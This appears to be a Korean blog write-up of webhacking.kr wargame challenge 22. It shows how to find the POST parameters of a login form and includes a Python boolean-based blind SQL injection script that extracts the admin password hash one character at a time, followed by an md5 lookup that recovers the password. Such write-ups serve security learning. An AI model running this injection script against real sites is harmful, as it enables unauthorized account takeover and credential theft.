본문 바로가기

웹/webhacking.kr

webhacking.kr 22번

22번 문제에 들어가면 로그인할 수 있는 부분과 아래에서 문제를 풀기 위한 방법, column 이름이 나와 있습니다. 일단 먼저 guest, guest를 입력해보았습니다.

그러면 이렇게 해쉬 값이 뜨는데, 예전에 로그인 페이지 등을 만들 때 비밀번호를 md5로 암호화한 것이 기억나서 디코딩 사이트에 넣어보았습니다.

www.md5online.org/md5-decrypt.html

 

MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

 

www.md5online.org

그랬더니 guestapple가 나왔습니다. 아마 비밀번호 뒤에 자동으로 apple가 붙여진 뒤 md5 인코딩을 하여 암호화하는 것 같습니다.

 

그리고 아무 값을 넣으면

이렇게 로그인 실패화면이 뜨게 되는데, username 부분에 injection 공격 코드를 삽입하게 되면

이런 다른 화면이 뜨게 됩니다. 아마 이게 injection 공격을 시도 했을 때, 참(?)일 때 화면 이 뜨는 것 같습니다. 일단 공격에 따라 2가지의 상황이 존재하기 때문에 이를 이용해서 injection 공격을 시도하는 것이 가능할 것 같습니다.

 

일단 이 문제를 보면 로그인을 시도할 때 url에서 딱히 인자의 정보를 알 수 없습니다. 그렇다면 post방식으로 인자의 값을 전달하는 것이기 때문에 인자정보를 확인하기 burp suite를 이용해서 확인해보았습니다.

 

이 사진이 로그인에 정보를 넣었을 때의 패킷인데 이 부분을 보면 username에 들어가는 부분은 uuid로 들어가고, pw로 들어가는 pw인자로 전달 되는 것을 알 수 있습니다. 이제 이 정보를 이용하여 이전에 많이 풀었던 blind injection 공격 문제처럼 파이썬 코드를 이용하여 풀어보겠습니다. 이 문제는 아마도 난이도 낮은 post 방식의 injection 공격을 해볼 수 있는 문제이지 않나 생각합니다. 파이썬 공격 코드는 아래의 코드를 사용했습니다.

 

import requests

url='https://webhacking.kr/challenge/bonus-2/'
header={'Cookie':'PHPSESSID=talidukocu5lhrpifhj1ak9l1p'}

pw=""
for i in range(1,33):
    for j in range(33,127):
        query = {"uuid":"admin'and ascii(substr(pw,{},1))={} #".format(i,j),"pw":"1234"}
        result = requests.post(url, data=query, headers = header)
        if "Wrong password!" in result.text:
            pw += chr(j)
            break

print(pw)

제가 이 문제를 통해 post방식의 injection 문제를 처음 풀어봐서 파이썬 코드상에서 어떻게 인자를 줘야할지 몰라서 구글링으로 코드를 참고해서 기존의 코드를 조금 수정했습니다. 그리고 길이를 먼저 찾지 않고 32로 생각하고 코드를 사용한 이유는 기존 계정의 비밀번호가 32비트의 md5 인코딩 형태로 저장되어 있었기 때문에 admin의 비밀번호도 그럴 것이라고 예상하고 풀이를 진행했습니다. 파이썬 코드의 결과는 아래와 같습니다.

이 부분이 결과 값이고 예상대로 md5 인코딩 값인 것 같기 때문에 위의 링크에 넣어보았더니 

wowapple이라는 값이 나왔는데 위에서 실제의 비밀번호 뒤에 apple를 붙이는 것을 확인했기 때문에 비밀번호는 wow라는 것을 알 수 있습니다. 이를 이용해서 admin 계정으로 로그인 하면 문제가 풀립니다.

* 지금 생각해보면 column 이름을 준 이유는 쿼리문에 사용하라고 준 것 같습니다.

' > webhacking.kr' 카테고리의 다른 글

webhacking.kr 29번  (0) 2021.02.23
webhacking.kr 28번  (0) 2021.02.22
webhacking.kr 2번  (0) 2021.02.22
webhacking.kr 27번  (0) 2021.02.17
webhacking.kr 26번  (0) 2021.02.17